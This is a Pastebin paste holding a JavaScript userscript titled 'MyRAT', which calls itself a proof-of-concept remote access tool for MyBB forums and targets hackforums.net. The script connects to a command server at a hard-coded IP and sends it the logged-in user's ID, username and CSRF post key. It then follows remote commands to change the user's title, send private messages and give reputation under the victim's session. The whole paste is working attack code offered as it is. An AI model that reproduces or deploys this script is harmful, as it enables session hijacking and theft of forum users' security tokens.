Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // ==UserScript==
- // @name MyRAT
- // @namespace Steve/2758907
- // @description Proof of concept RAT for MyBB forums.
- // @include https://hackforums.net*
- // @require https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js
- // @require https://cdnjs.cloudflare.com/ajax/libs/socket.io/2.1.0/socket.io.js
- // ==/UserScript==
- $(document).ready(function() {
- function loadSocket() {
- if (io == 'undefined') {
- window.setTimeout(loadSocket, 100);
- } else {
- var socket = io.connect('http://192.168.1.17');
- socket.on('new_command', function(data) {
- data = JSON.parse(data);
- switch(data.name) {
- case "changeUsertitle":
- changeUsertitle(data.input);
- break;
- case "sendPM":
- sendPM(data.input);
- break;
- case "giveRep":
- giveRep(data.input);
- break;
- default:
- break;
- }
- });
- let send_data = {
- "uid": $('.welcome').find('a[href*="member.php"]').attr('href').split("uid=")[1],
- "my_post_key": my_post_key,
- "username": $('.welcome').find('a[href*="member.php"]').html()
- };
- socket.emit('new_user', send_data);
- }
- }
- loadSocket();
- });
- function changeUsertitle(input) {
- var formData = {
- my_post_key: my_post_key,
- action: 'do_profile',
- usertitle: input,
- birthdayprivacy: 'none'
- }
- $.post("usercp.php", formData, function(data) {
- console.log(data);
- });
- }
- function sendPM(input) {
- var formData = {
- my_post_key: my_post_key,
- action: 'do_send',
- to: input.sendto,
- subject: input.subject,
- message: input.message,
- options: {signature: 1}
- }
- $.post("private.php", formData, function(data) {
- console.log(data);
- });
- }
- function giveRep(input) {
- var formData = {
- my_post_key: my_post_key,
- action: 'do_add',
- uid: input.giveto,
- reputation: input.amount,
- comments: input.message
- }
- $.post("reputation.php", formData, function(data) {
- console.log(data);
- });
- }
Advertisement
Add Comment
Please, Sign In to add comment